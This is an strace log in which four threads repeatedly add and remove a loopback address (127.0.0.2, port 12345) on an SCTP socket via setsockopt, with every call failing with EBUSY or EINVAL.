[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
